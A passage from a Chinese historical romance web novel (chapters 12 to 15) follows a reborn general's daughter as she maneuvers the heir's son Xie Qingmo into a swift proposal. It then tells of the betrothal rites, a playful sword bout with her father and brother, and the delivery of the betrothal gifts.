不过这些规矩也只是管中窥豹,偌大的国公府内部关系盘根错节,吃穿用度,稳固后院,盘算账目都要事事操心……
理事也需得注意分寸,管的太宽,便是不把长辈放在眼里;事事请示,又会被嫌太没主见。
连底下下人都极会看人脸色,不能急,不能燥,需得慢慢收拾掰扯。
明日谁家夫人生辰,后日哪家老祖宗寿宴。冬日围炉,春日赏花,谁家去谁家不去,什么话该说,什么话绝不能说,都要细心忖度。
时常夜里躺下,都要想明天的事情想到睡不着。
这些应酬的累,理事的难,规矩的苦,还有渐行渐远的母子关系……也就只有自己心里清楚。
日日夜夜,岁岁年年,把牙打碎了往肚子里咽,这才是国公夫人真正的日子,也是那些艳羡之人从未可知的。
沈欢颜长舒了一口气,每每思及前世她都心疼自己。
要么说成婚是女人一道坎,世家女子皆已如此,寻常女儿过活一生只怕更为不易。
想着想着,芙蓉酥买来了。
是刚出锅的。酥皮轻薄舒展,内里豆沙绵软,琥珀色的花瓣嵌在金丝间,宛如芙蓉初绽。
说来也有趣,京城和扬州的芙蓉酥风格竟大不相同,一个形似牡丹,丰腴大气;一个状似秋菊,纤巧玲珑。
京城的芙蓉酥吃的是热烈繁华,扬州的芙蓉酥吃的是清冷风雅。
美人也是如此。想起那日见张雪薇清冷纤细的惊鸿一瞥,纵然自己已是这般明艳美丽,还是在心中起了些波澜,也理解了上一世的谢清墨为何对她偏爱有加。
这一世他们尚未相遇,这孤女不日便要被谢家带回京中,不知到时谢清墨见了她,是否还会只对自己倾心了。
她得抓紧。
*
回到将军府时,母亲不在家。
只听父亲的演武堂有动静,沈欢颜赶忙前去。
只见一玄衣少年英姿勃发,红缨枪在他手中一抖,枪尖刹那绽出三朵银花。他又猛的收势,枪尖便稳稳停在空中,纹丝不动。
果然是阿弟。
“怀渊!”沈欢颜隔了老远便喊。
沈怀渊应是在父亲调任禁军统领后,虽他一同回京的。
自打三年前他去军中历练,她就再没见过阿弟,如今自己从十年后重生而来,又见了如此青葱年少的阿弟,怎不感慨万千。
沈怀渊闻声立马放下手中的枪转身过身来。
“阿姐!你何时回来的,怎不听母亲提起?”沈怀渊难掩兴奋之情,嘴角快咧到耳朵根。
沈欢颜拿了帕子上前抹了他额角的汗,轻声道,“阿姐有要事,自是要赶紧回来,母亲呢?”
“母亲只说她去见史夫人,我也不知是哪家的史夫人。”沈怀渊刚回京,哪家姓什么还没弄清楚。
12. 箭在弦上
史姓,应是礼部侍郎史家。
没猜错的话,母亲所谈之事应与自己的亲事有关。
但她总不能上门去找,只能在家等消息。
沈欢颜伸手轻抚着沈怀渊枪上的红缨,尾部穿的那枚小小的平安节还在,是当年她系的,现在已旧的泛白。
犹记得这把枪杆当年比他高出足足半个头,端着时,枪头还不住地往下栽。
“阿姐,这枪随我上过战场。”沈怀渊骄傲地说,又伸手指了指那枚小小的平安节,“四舍五入阿姐也上过了!”
幼时,她与阿弟总是一起练武,后来大了些,因自己是女儿身,母亲便不许自己再练了。
每每被按在绣架前她都如坐针毡,只有等母亲不在时,才能偷偷撂下手中针线,去院里同阿弟痛快比试一番。
也是眨眼间,从前的小毛孩已长成大人摸样,都能上阵杀敌了!沈欢颜感慨万千。
“你今日怎会在家?”她突然反应过来。
按惯例,军中历练的世家子弟回京,有荫补入国子监读书的资格。上一世父亲并未那么早归京,所以怀渊也在军中多待了两年。
可如今怀渊提前归京,应是在读书才对……
提起这个,沈怀渊脸颊微红,挠挠头不好意思道,“我前日去见监丞,他问了几个问题,我答不上来,他便让我回来抄书,等抄熟了再去找他。”
原来是考核未过啊。
沈欢颜忍俊不禁,但看了阿弟通红的脸又连忙正色道,“父亲怎么没给你找个先生追补一下?”
“父亲嫌我丢人,让我自学。”沈怀渊无奈道。
沈欢颜还是没忍住笑了出来。
她阿弟的手,拿枪稳得很。可翻书,怕是连书页都捻不开。
除了开蒙时期学的那些烂熟于心的伦常经典,其余他应是忘得差不多了,想要过监丞的考核也并非易事。
沈欢颜思忖半晌,开口道,“阿姐可以替你寻个靠谱的先生,不过你得帮我个忙……”
*
次日,沈怀渊先去了卫国公府找谢清墨。
“他不在家也无妨,直接走便是。”
沈怀渊想起阿姐说的话,果断离开了。
恰是书院休沐日,他又约了几个发小去茶肆听书,闲聊时故意引到襄王“选妃”一事。
一位发小的姐姐下手早,三日后便要成婚。
“怀渊,你阿姐不是与我家阿姐同岁?怎不见你家着急?”
“着急啊,我阿姐是我爹娘心头肉,怎能不急。”沈怀渊顿了一下。
眼扫过四周,声音更放大了些,“我家也喜事将近了,待明日与史家换过庚贴,我阿姐的亲事便也快定下了。”
“恭喜啊,听闻史郎君相貌品行皆是一流,确实是不可多得的如意郎君。”
“那是自然,我娘精挑细选的,等礼成我让我姐夫请哥几个喝酒。”沈怀渊笑得爽朗。
军中待过之人眼耳都是极灵敏的,他余光瞥见一小厮听了这话迅速溜出了茶肆。
心下便知阿姐要传的消息成了。
这边沈欢颜一大早便去给母亲请安。
母亲欲给她安排的成婚人选,都教她四两拨千斤般挑剔搪塞过去。
“娘,真不必担忧我。三日以内,必会有门第极好的人家上门提亲。”
沈欢颜把话搁这。
沈夫人一脸错愕,她不知女儿哪来的自信。
“母亲给你找的这些,已经是能匹配咱们家最好的青年才俊了。”
“那娘亲怎不考虑卫国公府?”沈欢颜笑道。
“那卫国公府簪缨世家,向来眼高于顶,王氏那两位儿子也被传的天上有地下无的,这几日确有人与她说媒,可通通是被拒了的。”
沈夫人本就是商贾出身,夫君虽深得圣宠,可身份气势上本就矮了这些出身名门的夫人一截。
“无妨,别人是别人,过两日卫国公府上门提亲。娘亲只管应了便好。”
沈欢颜说得云淡风轻。
沈夫人瞪大了眼,好似她在说胡话一般。
“欢儿还有些事要忙,就先退下了。”
上一世沈欢颜在卫国公府待了十年,府里哪个人,什么脾气,她都早已摸了个清楚。
谢清墨的母亲王氏虽是大族出身,却是个耳根子极软的,擅长虚张声势。也因此两个儿子都是有大主意的。
此时只要谢清墨铁了心,是一定能办成的。
扬州出发前,祖母便让她捎了几匹上好的销金彩锻。
沈欢颜直接去了汪家在京中的衣铺,亲自选了些辅料和衣样,量了身。
托铺中的大师傅今日要连夜赶工,又叮嘱了掌柜,无论是谁来问,都大大方方地说她来是来做嫁衣的。
忙完这些,沈欢颜便回家歇息了。
这几日连轴转,也是身心俱疲,后面却还有硬仗要打。
重活一世,本应如自己设想般从容应对,可奈何身为女子,世事难料,终是身不由己。
*
谢清墨得知是沈欢颜胞弟去府里寻自己很是意外。
等差了人去问,却又说无事。
昨日沈欢颜一番话,他冷静下来后想了很久。
她向来是冰雪聪明,心有丘壑的。断不会做赔本的买卖。
扬州之别时她还说她不愿嫁文人。这又突然变了主意。虽说事急从权,可若她想嫁,凭她的美貌与家世,明明有更多更好的选择。
自己家门第虽高,可到了父亲一代,已无拿得出手的实权,父亲又极为耿直,在皇帝面前并不讨喜。
不由分析起其这玲珑心内的真正目的。
他不信她当真倾心于他,毕竟她看他时眼波里的柔,更像是水中的月影,风一吹便散了。
“郎君,沈怀渊除了去茶肆和朋友小叙,旁的也没再做什么了。”
杨谅回话打断了他的思绪。
“都谈了些什么?”他淡声问。
“无非都是一些学业和玩乐的日常。”杨谅顿了一下,想了想又说道,“不过又说了他家好像马上要办喜事,应是他姐姐要定亲,明日便要同史家换庚贴。”
“什么?”谢清墨直接惊地站起身来。
“唤李瑞过来,快!”
话音未落,李瑞已经匆匆忙忙进屋,门都忘了敲。
“郎君,沈娘子她……”他气喘吁吁道,“沈娘子今日去了衣铺订了嫁衣,还说要连夜赶工!”
杨谅整日冷冰冰的,不懂七情六欲。可李瑞不是,自小在谢清墨身边,最会察言观色。
自打谢清墨刚回京跟宋家表妹打听沈娘子时,他就看出了自家郎君的心意。
昨日沈娘子走后,郎君又叮嘱自己这几日留意沈娘子的行踪,有什么异常及时来报。
这怎么不算铁树开花呢,李瑞自是喜闻乐见的。
谁曾想他刚派出小厮,竟给打听到了沈娘子连夜赶制嫁衣——马上嫁人的消息。
他听后再三确认,而后赶紧连滚带爬过来报信,生怕误了郎君的终身大事。
谢清墨听罢脸色一黑,也顾不得猜她到底存了什么心思了,横竖自己就这条
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命。
她要图什么尽管图好了。
就此打定主意,心甘情愿往她挖的坑里跳。
“备车,去开宝寺。”
*
卫国公夫人王氏每月初八都会同妹妹一起去城外的开宝寺,上香祈福,再吃些素斋,也是难得的姐妹小聚时光。
往往都是一早走,日头偏西才打道回府。
“见过母亲,姨母。”
谢清墨到的时候,二人正吃着姜枣汤。
“墨儿你怎的这时过来了?”国公夫人当下手中的汤匙,一脸错愕。
天色已擦黑,不肖半个时辰,她们便要打道回府了。墨儿这时找来定是有什么要紧事。
她眉心皱起,心中稍有忐忑。
宋夫人则淡定许多,女儿宋凌舒就随她,平日里嘻嘻哈哈,其实是个心中有数的。
今日一早在马车上,阿姐就向她打听了欢儿那丫头。
欢儿这孩子自幼便和自家女儿凌舒是好友,她也算是她看着长大的,自然好好夸赞了一番。
可问道为何打听时,阿姐又支支吾吾答不上来。
她又想到近日京城遍地都在嫁女儿的热闹景象,而欢儿刚刚及笄……
莫不是沈府那边想与谢家结亲?
宋夫人刚要开口,只听扑通一声。
谢清墨撩起衣摆,稳稳跪在国公夫人面前,背脊挺直,恳切道:
“母亲,孩儿对殿帅沈毅之女沈欢颜心生倾慕,故意欲求娶,望母亲替孩儿做主,玉成此事。”
这回换两位夫人一同愣住了。
“墨儿你……”国公夫人着实想象不到竟是这事。
一时语无伦次道,“昨日不还说秋闱在即,成亲之事考取功名之后再议,今日怎……”
“孩儿等得,孩儿心悦女子却等不得!”谢清墨深深伏下身去,额头贴地,手指紧攥着衣袍。
抬眼间,看向母亲的眼中尽是焦灼,“再拖下去,她便要许给别人了。”
“这……”
“别这啊、那啊的了,阿姐,你何时见过墨儿这样求你!”宋夫人倾身拉住国公夫人王氏的衣袖,悄声道。
她都能感受到外甥的急迫。
王氏没有立刻开口,她站起身,虚扶了儿子的衣袖,“先起来说话。”
谢清墨直起了身子,却依旧跪着。
国公夫人叹气,蹙着眉,“我道是何天大的事,值得你这般失态?”
她顿了顿,又思忖片刻。
最终语气中带着几分无奈妥协之意,“罢了,明日一早我便寻官媒去那府上探探口风。”
谢清墨连忙又叩头起身,眼里瞬时亮起了光,大声道,“多谢母亲成全!”
王氏看他脸色变得如此之快,又板起脸补了一句,“只是——若那姑娘早已订下婚约,你可不许胡来!”
“没有,她家明日才要与别家交换庚贴!”
“明日?你这孩子!”她转头瞪了儿子一眼,来不及责骂。
“来人。”国公夫人忽然扬声道。
候在门外的嬷嬷应声而入。
“备轿,先送拜帖去沈府——就说,卫国公府有要事,明日一早,务必于夫人一见。”
又转头对丫鬟吩咐,“传话回家中,备好我的诰命服。”
谢清墨愕然抬头,“母亲?”
“明日辰时,我亲自登门。要抢在他们换庚贴之前,先把沈娘子的生辰八字拿到手。”她一字一句道,“既然你对她这般钟情,做娘的也应尽全力,总不能让我儿留一辈子的憾……”
13. 甘之如饴
殿帅府。
丫鬟们撤下晚膳,给烛火换了新芯。
沈怀渊从墙角的剑桶里拿出几支断了杆的废箭,朝这边晃了晃:
“阿姐,投壶?”
反正闲来无事,沈欢颜便应了。
沈怀渊把铜壶挪至窗下,自己则退至门槛边,捏着剑尾一瞄,剑出手——
在壶边转了一圈,“哐当”入壶。
“还是老规矩阿姐,”沈怀渊笑嘻嘻道,“你得答我一问或是应我一个要求。”
这是二人自小就爱玩的游戏。
“问吧。”
沈欢颜就着门槛坐下,仰头看他。
“你为何要让我把与史家换庚贴的时间提前了说?”
“当然是说与有心人听的啊。”沈欢颜柔声笑道。
“是谁?阿姐你是想让那人赶紧来提亲对不对?”
“这就是下个问题了。”沈欢颜抿唇一笑,站起身从阿弟手中接过箭。
抬起手腕轻轻一送,箭稳稳落入壶中。
“你是想答问题,还是要我提要求?”
沈怀渊怀疑阿姐自己偷偷练了,怎能投的这样准。
“阿姐示下吧。”他怕阿姐又要问起自己功课,他承认自己学业不精,可要反复拿出来说那就是另一回事了……
“不出意外,明日谢家会上门提亲。若是父亲为难他,你定要想方设法帮他解围。”
“谢家……难道是谢少将军?!”沈怀渊只反应了一瞬便面露喜色。
谢京策名气很大,少年行伍之中,莫不以他为楷模。
沈欢颜失笑,她要让阿弟失望了。
“不是,是谢家二郎,谢清墨。”
沈怀渊瞬间垮下脸来,“我就说嘛,谢少将军整日在军中呆着,哪有功夫跟阿姐私定终身呢。”
“胡说什么呢。”沈欢颜瞪了阿弟一眼,脚下一记飞踢,接着说:
“他也是阿姐为你寻的先生,你能不能早日通过监丞的考核也要靠他。”
听了这话,沈怀渊哪还有不应的道理。
不知阿姐是怎么认定谢家二郎的,但一听是个文绉绉的文人,自己便已兴趣缺缺。
想必父亲也是如此想法。
他已经提前为未来姐夫捏了一把冷汗。
*
谢清墨从开宝寺出来,便直奔京城最大的金铺。
明日插钗所用“金钗”已来不及赶制,他反复挑选,选中了这只通体牡丹纹锤揲錾刻金钗。
晚上沐浴后,谢清墨便拿了这只钗反复练习,生怕明日出错。后又小心包于红绸内,置于枕边。
一切就绪,谢清墨仍无半点睡意,便又唤了李瑞来。
“明日定亲酒是否已经……”
“都备齐了郎君,我办事你自是放心。”李瑞打断他的话。
第三次了,他虽对定亲之事喜闻乐见,可被郎君折腾到半夜,也是有苦难言。
“况且明日上午换帖只有夫人去,咱们还有时间准备,您赶快睡下吧。”他打着呵欠道。
谢清墨也听劝,把脸埋在熏过安神香的枕头里,不奏效;又找来了最枯燥的古书卷宗翻阅,不顶用。
直到远处传来三更鼓,他才缓缓进入梦乡。
天色将开未开之时,国公府角门“吱呀”一声开了,垂花门还掩着,廊下灯笼刚熄一盏,正院灯却亮了。
国公夫人王氏出正院时,天边刚泛起一线青白。她换了一身绛紫色的大袖衫,外罩深色罗帔,周媒人跟在身后。
王氏深深叹了口气。
她已许久未如此莽撞行事了,昨日除了给殿帅府发了拜帖,又直接给史家递了书信,试探之意尽显。
好在史家夫人也是个识时务的,当即表示退出。
既然做了,今日就一鼓作气,怎么说都要把儿子的亲事办妥了。
过垂花门时,王氏余光瞥见廊下站了个人,她偏头一看,是她的墨儿。
也不知什么时候穿戴齐整的,这会儿立在阶前,直挺挺的,身上那件新襕衫被晨风吹起又落下。
王氏看了儿子一眼,没说话,只微微点头。
那青松般的身影躬身一揖。
望着母亲已走出月洞门的背影,谢清墨越想越觉得自己有些疯魔了。
母亲嫁进国公府几十年,事事都被祖母压制,父亲又从不过问后宅之事。今日竟瞒了祖母为自己求亲,想来婚事定下后,母亲少不了被祖母责骂。
昨日自己也仅听信了沈家一面之词,竟没有派人去史家打探消息。
谢清墨叹了口气,低头看了眼自己一早精心挑选的衣服配饰,连梳头束发都比平日多了一倍的时辰。
他忽然有点想笑。
明知自己当真是被这沈娘子玩弄于股掌之中,却偏偏甘之如饴。
病入膏肓,无药可医,大抵就是说的自己罢。
*
这边沈欢颜倒是睡得香甜。
沈夫人昨晚接了拜帖之后,心中有不少忐忑。
日头刚爬上东边屋脊,殿帅府两扇大门便已敞开,门槛内外被扫的干干净净。石阶两旁各站着一个小厮,规规矩矩地垂手立着,只要巷口有马车影子,背脊便要绷紧一些。
连薛管家都立在未撤的灯笼下,时不时低头看看自己的衣襟,今日特地熨了两遍,生怕丢了人。
殿帅乡野出身,今日虽得盛宠,到底不比老牌高门大户,府里规矩也不繁冗,连下人们日常都是随意惯了的。今日一听卫国公府夫人要来府中,全都严阵以待、战战兢兢。
沈夫人这发髻也是梳过三遍,第一遍太紧,扯得头皮疼;第二遍太松,摇摇晃晃,怕见了客人失礼;第三遍梳头的丫鬟手都抖了,可沈夫人仍瞧着不太满意。
昨晚她把国公夫人要来府上的消息跟老爷说了,也说了多半是为了议亲。
“帖子里没说事由?”
“未曾细说,只说有要事相商。但欢儿却很笃定地说过,三日之内国公府必来提亲。”沈夫人蹙着眉,对女儿的话也是满肚子疑惑。
“这丫头,怎么自己终身大事都跟儿戏似的。”殿帅嘴上是这么说着,但女儿这脾性多半还是他惯的。
“不过单论人品,谢家大郎是个不错的后生,若这门亲事能成,咱们也没什么说的。只不过咱们门第,欢儿过去了会不会受委屈?”
沈夫人回想着,昨日老爷说这话时,她还安慰他说,“您如今圣眷正隆,怕什么。”
可最终一宿没睡着的是她自己。
巷子里仍是静静的,也不知这贵客何时会来。
不一会儿,巷口忽然传来马蹄声。
这回是真的了。
马车拐
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进,车帷是青色的,在辰时的日光里,像一片移动的绿茵。
待车停稳,薛管家忙迎了上去,躬身打千儿,“国公夫人大驾光临,我们太太在二门候着呢。”
二门已是贵客的礼数。
一行人穿过影壁,绕过垂花门,果然见了沈夫人立在二门内,满脸是笑。
沈夫人也是忍了几回才没前去大门迎接,毕竟对方是来求亲,门第再高,自己作为嫁女儿的主家也要有些姿态。
“国公夫人。”沈夫人迎上来,声音不高不低,正正好。
她眼睛一瞥,看到了立于王氏身后的官媒周氏。心下便了然。
国公夫人王氏也笑了,上前握住对方伸来的手,“来的冒昧,扰了沈夫人的清净。”
“哪里的话,快请。”
两人挽手朝里面走,官媒周氏看着两位夫人交叠的手,眼角都盛满了笑,心想今日之事能成。
几盏茶后,王氏便开始说正事。
“沈妹妹你看,这是草贴。”官媒周氏已将漆盘端来。
周氏指着盘中两幅红笺说着:“这是谢郎君亲自所写,请夫人过目。”
沈夫人接过,看的很慢。国公夫人也不急,端着茶静候着。
忽然,沈夫人惊呼,“这怎是你家二郎?”
这一句引的国公夫人也是一惊,转头与媒人面面相觑。
官媒周氏先反应过来:“确是谢家二郎,夫人。”
沈夫人脸红一阵青一阵的,她昨日与老爷说时,两人都以为女儿要嫁的是那英勇神武的谢家大郎!
这可如何是好!
空气忽的凝住,屋内鸦雀无声。
“母亲。”一声清亮的女声忽的插入。
廊下脚步声响起,轻却不急不缓,帘子被挑开,屋内两位母亲都向门口看去。
只见日光将沈欢颜笼在一团金晕里,先看到的是那一身粉白色罗裙。
待她跨进门坎时,满屋子人都忘了呼吸,她就那样静静站着,屋子里的光好像都聚到她一人身上去了。
国公夫人手中的茶盏一顿,唇边浮了笑,眼下她终于明白,儿子是如何被这女郎迷的神魂颠倒了。
“母亲,”她脆生生地开口,“我要嫁的,正是谢二郎。”
沈夫人方才的错愕被女儿笃定的眼神瞬间浇熄了。
毕竟她也是过来人,当年也是单凭着对夫君的一腔热忱和笃定,远嫁千里之外。
她相信自己女儿的眼光。
沈夫人敛下眸子,捏住红笺的手指紧了紧,偏头看向国公夫人:“姐姐既亲自来了,有句话,我必须一问。”
国公夫人放下茶盏:“妹妹请讲。”
“二郎君,”沈夫人看向她的眼睛,“可是真心?”
国公夫人默了一瞬,转头看了看眼前立着的小娘子。
眉眼如雾,肤色如雪,唇色如樱,本是温和舒服的长相,偏生只要盯着她那眸子一眼,便像是栽进了一汪深潭,极为勾人。
又想到今早临行之前,二郎看向自己那风止山定般的眼神,好似只要将他心仪之人娶进门,一切便有了归处。
她沉下声,看向沈夫人,缓缓开口道,“若我说,这门亲事,是我儿跪下向我磕头求来的,夫人可信他的真心?”
沈欢颜闻言,竟被震的半句话也说不出口了。
14. 换帖插钗
许是上一世谢清墨袭爵后放浪形骸、手段狠绝的形象太过于深入人心,沈欢颜以为他会游刃有余,从容不迫地把事情给办了。
竟忘了如今的他仅是个仍未取得功名的苦读书生。又因做了太子的伴读,为着国公府的脸面事事都要光明磊落,断不能使那些有损家族清誉的阴招。
自己昨日设计传给他消息,只余了半天功夫让他做决断。
还真是把他往绝路上逼。
听了国公夫人的话,沈欢颜脸色煞白。
她没想过要欺他至此的。
沈欢颜直愣愣站在厅中,再也听不进周围的一个字了。母亲如何回答她也一概不知,只知此事已成,给两位长辈行了礼便退下了。
魂不守舍地回到房中。
明日他还要上门行“插钗”礼,这一瞬,她忽然有些不敢见他。
这一世他对自己并无不好,甚至用情至深。自己对他却只有利用。往后又该如何待他。沈欢颜竟有些茫然了。
日光渐高,窗外的树影斑驳映在青砖石板上。沈欢颜手指摩挲着腕上的念珠,目光空濛濛的。
“娘子,娘子!”晴茵高声喊着,脚步已至廊下。
沈欢颜忙敛去神色,转过身来,问道,“是有何状况?”
方才她先回了房,留了晴茵在那边探听消息。
“咱们这边回帖后,国公府立马从外头搬进了许口酒和定礼。夫人见他们甚有诚意,也把自己准备好的‘回鱼箸’拿了出来,这礼便成了……”晴茵刚跑的急,话说了一半嗓子干的卡住了,捞起桌上的杯盏就往嘴里送。
“然后呢?”沈欢颜这个急脾气,最怕话说一半留一半,急得把手里的帕子攥得打转。
“然后……事儿赶事儿的,那媒人又极会说话。不知是恐生变数还是怎的,说着说着,这‘插钗’就改今儿下午了!”
“什么?”沈欢颜直接站起身,也顾不得什么伤春悲秋了,赶忙跑至铜镜前瞧着自己——这脸都还没敷粉呢,急得直跺脚,“什么都没收拾呢,怎能下午就来!”
晴茵目瞪口呆,她怎么也没想到娘子是这个反应,本以为她多少会有点腼腆害羞……
“他们几时来?”沈欢颜蹙着眉,伸手拽开刚刚被椅腿勾住的裙角,快步坐在妆台前,查看自己那些瓶瓶罐罐。
“说的是申时前后。”晴茵答道,看娘子着急也开始慌乱起来,突然又想到什么赶忙补充道,“夫人马上也要过来帮忙的,娘子莫急。”
沈欢颜噘嘴嗔道,“怎能不急,全院子的人都要看着我呢。”
晴茵刚拿了篦子打算给她梳头,闻言“噗嗤”一声笑了。
”笑什么?”
“奴婢笑娘子——”她压低声音,凑到她耳边,“平日里也没见您这么在意别人眼光呢。这可真是女为悦己者容。”
沈欢颜听出她话里有话,转头去挠她的腰,被晴茵灵活闪开。主仆俩玩闹了一会儿,便收了心忙正事了。
不过,想到那句“女为悦己者容”和谢清墨那双克制又深情的眼,沈欢颜的脸还是不知不觉红到了耳朵根,比胭脂还艳……
不一会儿,沈夫人捧着衣服进来了,“你外祖母给你备的这几身衣服,今儿终于派上用场了。”
沈夫人又遣走了丫鬟们,打算亲自为女儿穿衣,只留了晴茵在一旁帮忙。
看着母亲把衣裳抖开,沈欢颜乖乖抬起了胳膊。衣裳缓缓从头顶落下,滑过肩头脊背。那衣料太软,藏不住任何秘密,肩是平的,腰是平的,某处却是鼓的满满当当的。
沈夫人没说话,只是看着她,眼里噙着笑,腰带系上来时便更明显了。收的紧紧的弧线之上是忽然开阔的起伏。
母亲弯着嘴角,“你这丫头,什么时候长成这样了。”
沈欢颜红着脸一声不吭。只有晴茵在一旁偷偷地笑。
她瞧着母亲又看了她一眼,这次不是打趣了,更像是些“待会儿别把那小子看呆了”的骄傲神情。
*
这是谢清墨第一次进殿帅府。
由薛管家引着往里走,他穿过影壁,绕过垂花门,路过一路的仆从,终于到了正厅。
瞧着里头人影绰绰,他停在门槛前,重新整理了自己在家中镜前已经理了不下二十遍的衣襟。
入院,他落了座便为女方长辈一一奉茶。不远处眉眼和沈欢颜有些相似的少年郎想必就是她胞弟沈怀渊了。可迟迟不见他那未来的岳父。谢清墨胸中多有忐忑。
茶过三巡。
沈夫人忽然笑着起身,往屏风后头去了。
有裙摆扫过地面的声音,谢清墨的心忽地提到了嗓子眼。
他抬起头,日光从房檐斜照进来,刚好落在沈欢颜从屏风后探出的身子上。
他的目光被她定住,又随她移动。
沈欢颜走到厅中央,站定。
他离她只有几步远,却能看到她鼻尖上那颗极小的痣,也能看到日光顺着她的睫毛投下的阴影。
谢清墨摸了摸袖中的金钗,听着周媒人的说那些无关痛痒的场面话,简直度秒如年。
不觉间又盯着她出了神……忽的周围突然安静了,只见周媒人笑着看他,把声音压的低低的,“郎君,还等什么?再不动手,老身可要替你插了。”
他赶忙取出金钗,停在她面前。
在她眼前缓缓解开红绸,唇线紧抿,郑重地在她挽得高高的发髻上插上了自己的金钗。
金钗插稳地那一刻,他的指尖在她的鬓角边顿了顿,隔着那点若有若无的距离,却让沈欢颜整颗心悬在了天上……
厅里静了一瞬,谢清墨缓缓垂下眼,看向她的眼。
目光落下的那一瞬,她的手指攥紧了衣角,动都不敢动。他的眼睛是漆黑的,深不见底,像是在她身上烙下了一枚印章,宣誓了主权般压下来。
沈欢颜赶紧错开了眼,脸颊通红。
她承认,她看轻他了,也看错了自己,她根本不如自己想象那般游刃有余……
就在所有人认为定亲礼成之时,门外忽然传来一阵脚步声——带着风声。
沈毅戎装还未换,甲片在日光下晃得人眼晕,他显然刚从校场上赶来。
他紧盯谢清墨,那双眼凌厉得活像鹰见了兔子。
夫人着人传信于他后,他气了半晌,不知女儿为何选了这样一位中看不中用的的世家公子哥,明明他哥就比他强了百倍。他这辈子最不喜文绉绉的书生——就像当年他夫人在扬州的那位青梅竹马一样。
奈何他向来宠自己的宝贝女儿,到最后也只能由着她来。不过悔婚不成,总可以杀杀他的锐气吧。
“父亲!”沈欢颜刚开口,就被谢清墨抬手制止了。
谢清墨本是想好好给未来岳父大人行礼的,谁知沈毅忽的往身后一套探,一道寒光劈来……
“当”的一声,一把剑插在了谢清墨面前的地上,剑身摇晃出一片冷白的光。
满屋子的人都被定住了,静的像无人一般。
忽然,一阵拍手声响起。
沈怀渊笑着站起身,手继续拍着,嘴里吐出的字让沈毅气的
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差点背过气去:“父亲威武!不过您要想给姐夫露一手的话,不如我来?”
“姐夫”都叫上了,此人不简单。
沈欢颜和谢清墨不约而同地用意味深长的眼神看向沈怀渊。
“姐夫以为如何,咱俩比试比试?”说着,他脚踩上剑柄,手一抄,剑顺势落入手中。
“好。”
谢清墨点头,转身往边上走了几步,伸手一勾,便从杨谅的剑鞘里拔出一把长剑。
沈怀渊眼睛忽然亮了,他不知这传说中的软脚虾姐夫,竟还是个能文能武的?
他往后退了一步,拉开架势,目光落在那剑上,“姐夫,我可真来了!”
谢清墨站在原处没动,微微点了点头。
“来。”
周围的亲眷宾客、仆从丫鬟,挪桌的挪桌,搬凳的搬凳……都等着这场好戏开演。
两道寒光在厅中发出“噌”的一声脆响,犹如远山寺庙里的钟磬。
沈怀渊剑又重新压上,往下劈。
谢清墨抵住,只把剑往上一抬。
又是“噌”的一声,沈怀渊的剑被架在半空中,他咬牙使劲往下,那剑却纹丝不动。
谢清墨看他,目光平平,“用力。”
沈怀渊一愣。
也就这一瞬,谢清墨将剑往边上一撇。
沈怀渊没收住,整个人往前栽去。
还是他“姐夫”上前一步,搂腰稳稳接住了他。
殿帅:“……”
小小闹剧来的快去的也快,沈夫人最先回过神,她拍了拍手,让小厮们先把桌椅板凳归位,再张罗着大家继续用茶。
最重要的是,轰了沈毅这个惹人厌的臭男人回屋换衣服。
殿帅此刻懊恼啊,没吓唬着人不说,还吃了两记来自夫人、女儿的白眼,真是得不偿失……
新沏的茶,刚上的点心不一会儿便把刚刚比试那点紧张感冲淡了。
沈欢颜回去找自己的座位,感觉头顶的金钗沉甸甸的,她悄悄朝对面瞥了一眼。
谁料谢清墨正看她。
四目相对这一瞬,她察觉到,他眼里的东西变多了,多到她不敢接,也接不住……
殿帅沈毅这时也换了常服出来,他端起酒盏先走到谢清墨面前。
“来。”
沈欢颜瞧着父亲这脸变得比翻书都快,也是服气。
谢清墨双手接过,喊了声,“世伯。”
“还叫世伯?”
谢清墨微顿,两字在口中打转,终于落定:“岳父。”
两人又多喝了几盏。不知是不是酒的缘故,沈毅觉得自己越看这个女婿越顺眼了。
谢清墨又被沈怀渊拉着喝了几杯,自从得知他这个姐夫有才又有貌,能文又能武后,他更是奉他为仰止。
临走时字都已吐不清了,还压低声音对沈欢颜说了一句,“这个姐夫,我认定了。”
沈欢颜当真嫌弃家里这些男人们。
最后还是母亲一个个把客人送出门,全数安排妥当。
暮色将深,她正往门里进,忽的瞧见门洞旁的暗处还有一人——是谢清墨。
本是想再看她一眼便走,谁知恰巧与她眼神对上。
于他而言,这一眼里有昨日一整夜的辗转难眠,又有今日一整天的兵荒马乱;有插钗时手中的潮,又有礼成时心中的喜……
在她看来,许是浸了酒的缘故,他的目光明晃晃的,没了弯子,没了心事,就这么清清亮亮地看着她。
却又直白得令她心惊……
15. 心存芥蒂
周媒人这两日在两府间来回跑着,定好了聘礼的清单。又卜了吉,双方定好三日之后下聘。
三日转眼便至。
一早,殿帅府内外便热闹非凡,八担聘礼一字排开,耀眼的金器首饰在匣中熠熠生辉,绫罗绸缎成山,羊酒茶饼成行,队伍从巷口走到府门,足足用了一盏茶的功夫……
小孩子们追着担子跑,沿途人家的婆娘们挤在门槛上看着,数着。
“你看那金子,亮的晃眼!”
“这么多名贵物件,得值多少银子啊!”
没人能算的清,只知道,这门亲事,男方是用了心的。
周媒人捧着一个红漆盘走在后头。府中点收后,沈夫人正要给她让茶,她赶忙先将那红帖双手奉上:“沈夫人,这是国公夫人亲自去寺里求的四个吉日,请夫人过目,看哪个更合心意。”
沈夫人接过红帖,展开看了几眼,直接选了个最靠前的日子。既然是国公府已经挑选过的日子,那便哪个都是顶好的,女儿出嫁本就是为了躲避那即将到来的皇室选亲,自然是越快越好。
周媒人眼里盈满了笑,连声说好。她赶紧回去给国公府交差了。
外面正热闹着,这边沈欢颜却还在被子里窝着,眼睛眯着,耳朵却醒了……
她翻了个身,把被子往上拽了拽,盖住大半张脸。昨日竟破天荒梦见了谢清墨,梦见她死后,谢清墨很快便纳了妾,还把昭儿留在那女人房里养……
“娘子!”
是晴茵的声音,从门外飘进来:“娘子,卫国公府来下聘了!”
她迷迷糊糊,分不清梦境和现实。
“娘子,娘子!”看她额上布满了冷汗,晴茵拿了帕子来擦,又摇着她的胳膊。
沈欢颜猛地惊醒。
她呼了口气,听着外面热闹非凡,心却如冰窖般冷。
晴茵见她神色恹恹,只当是娘子做了噩梦,伸手在她背上顺了顺,歪着头把方才在院子里的听闻一并说了,“这聘礼姑爷可当真是用了心的,不说那销金褙裙的花样,或是那珍珠的大小,就说那活雁,寻常人家下聘一只便算了礼数——咱们姑爷硬是送来一对,摆明是要与您……”
